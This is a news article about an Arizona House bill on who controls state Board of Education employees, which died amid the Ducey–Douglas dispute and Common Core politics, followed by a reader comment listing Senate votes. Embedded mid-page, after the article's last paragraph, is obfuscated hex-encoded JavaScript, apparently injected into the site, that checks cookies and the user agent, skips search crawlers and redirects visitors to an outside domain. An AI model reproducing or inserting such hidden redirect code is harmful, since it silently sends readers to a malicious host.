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Bill to settle Douglas-Ducey Board of Education fight dies

Douglas Ducey

A bill designed to prevent future fights over who controls employees of the state Board of Education died Wednesday in the Arizona House after conservatives revolted against what they saw as a weakening of the state school superintendent’s power.

The proposal was negotiated in the weeks after a public turf battle erupted between Gov. Doug Ducey and Superintendent of Public Instruction Diane Douglas.

Douglas fired two board executives in early February, only to have her actions overturned by Ducey. She then sent out a vitriolic written news release that attacked Ducey.

Douglas allowed the two executives to return to work, but she imposed strict oversight over them for a brief period.

Ducey and Douglas made up quickly, and the Legislature then moved to clarify that the board oversees its employees, not Douglas. She leads the Department of Education.

Behind the scenes was the battle over Common Core schools standards, which are adopted by the Board of Education. Douglas thought the board’s executives supported Common Core.

Douglas approved of the bill clarifying who oversees the board’s employees. It passed the Senate with just two “no” votes earlier this month.

But the House rejected the bill last week and had set a reconsideration vote for Wednesday. That vote never happened because there was just too much opposition. That means the bill is dead for the session.

Rep. Kelly Townsend, R-Mesa, said Ducey was trying to take Douglas’ power and vowed Wednesday morning that House Bill 2184 would go down.

“The Superintendent of Public Instruction is an elected voice for the parents and should have broad authority over education so that they can represent the parents,” Townsend said. “What this bill does is just lines out part of her job. Whether her office wanted it, wrote it, whatever, the people elected her.”

The initial House rejection came a day after Ducey asked the Board of Education to review Common Core standards and replace problem areas. But he fell short of calling for their immediate replacement, angering conservatives. He also said a bill in the Legislature that would have ended Common Core was unnecessary.

Ducey spokesman Daniel Scarpinato said Wednesday that the governor is “moving ahead with his priorities for the board – improving K-12 education and replacing Common Core with Arizona standards.”var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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One comment

  1. IMMORAL LEADERS = EVIL EMPIRE in AZ POLITICS
    HB2184 isn’t relevant as they passed SB1469 giving the Board Agency Status, therefore it’s a mute issue and those in office know it or should, since most in GOP Voted for it. Those who Voted Yes Betrayed US.
    Check the VOTES & BILL STATUS VOTES FOR SB1469 – Third Reading
    Y = Yes / N = No / NV = Not Voting / EXC = Excused V = Vacant
    Member Name Vote Member Name Vote Member Name Vote
    Ed Ableser N Sylvia Allen Y Nancy Barto Y
    Carlyle Begay Y David Bradley N Judy Burges Y
    Olivia Cajero Bedford N Lupe Contreras N Andrea Dalessandro N
    Jeff Dial N Adam Driggs Y Steve Farley N
    David C. Farnsworth Y Gail Griffin Y Katie Hobbs N
    John Kavanagh Y Debbie Lesko Y Barbara McGuire N
    Robert Meza N Catherine Miranda N Lynne Pancrazi N
    Steve Pierce NV Martin Quezada N Don Shooter Y
    Steve Smith Y Kelli Ward Y Bob Worsley Y
    Steve Yarbrough Y Kimberly Yee Y Andy Biggs Y
    these are truly the people we need to remove from office and stop allowing the Shell Game they play fool us, they vote for one against another for cover, this is an old political trick and they’ve used it for decades and most voters don’t remember on bill from another and they count on us having real lives so as not to be able to, time to hold them accountable for all their Votes. I’d like to state that Supt. Douglas was wrong in surrendering without even a fight, as well as the AZ Senator who clearly stated at the Sen. Ed Committee Hearing on HB 2184 it’s only Two Employees, basically to both of them no Big Deal, but it’s Us
    they vote against.
    God Bless You;
    Clair Van Steenwyk

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